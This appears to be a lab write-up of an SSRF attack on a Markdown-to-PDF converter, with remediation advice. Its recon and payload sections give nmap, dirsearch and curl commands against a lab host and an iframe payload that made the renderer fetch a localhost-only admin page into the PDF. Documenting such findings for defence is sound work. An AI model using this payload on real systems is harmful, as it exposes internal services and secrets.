Case file

Markdown-to-PDF SSRF iframe bypass of localhost admin

Foundations web engagement: /admin was bound to localhost:5000; Markdown HTML iframes caused the PDF renderer to fetch the internal page and embed the secret in the download.

Foundations18 minWeb · SSRF · PDF · Access Control
01

Engagement summary

dirsearch found /admin forbidden except from localhost:5000. An iframe to that URL inside Markdown rendered into the PDF with the admin content.

MD2PDF exposed SSH, HTTP on 80 (Markdown→PDF converter), and an internal service on 5000. Directory enumeration returned 403 on /admin with the message that the page was only visible from localhost:5000. The converter accepted raw HTML. Submitting an iframe pointing at http://localhost:5000/admin caused the server-side renderer to fetch the restricted page in its own trust context and embed the response — including the engagement artifact — in the generated PDF.

Business impact

“Internal only” is not a boundary when user content is rendered server-side. Markdown/HTML-to-PDF pipelines are classic SSRF. Disable raw HTML, block loopback/link-local fetches in the renderer, and authenticate admin with real sessions — not source IP alone.

02

Service map and localhost-only admin

Ports 22/80/5000; /admin explicitly restricted to localhost:5000.

OPERATOR · RECON

savvy@lab:~$ nmap -sV -sC -Pn 10.48.156.225

22/tcp open ssh

80/tcp open http

5000/tcp open http

savvy@lab:~$ dirsearch -u http://10.48.156.225

403 /admin

savvy@lab:~$ curl -s http://10.48.156.225/admin

Forbidden — only visible from localhost:5000

03

HTML iframe SSRF via PDF render

Markdown iframe to localhost:5000/admin leaked admin content into the PDF.

PAYLOAD

payload.md

<iframe src="http://localhost:5000/admin"></iframe>

OPERATOR · PDF

# submit payload.md via converter UI → download PDF

savvy@lab:~$ pdftotext admin.pdf - | head

# /admin body embedded — internal secret present

Remediation

Sanitize Markdown to a safe subset; deny iframe/object/img to private ranges. Put admin behind auth on a non-loopback listener only if network policy also blocks SSRF.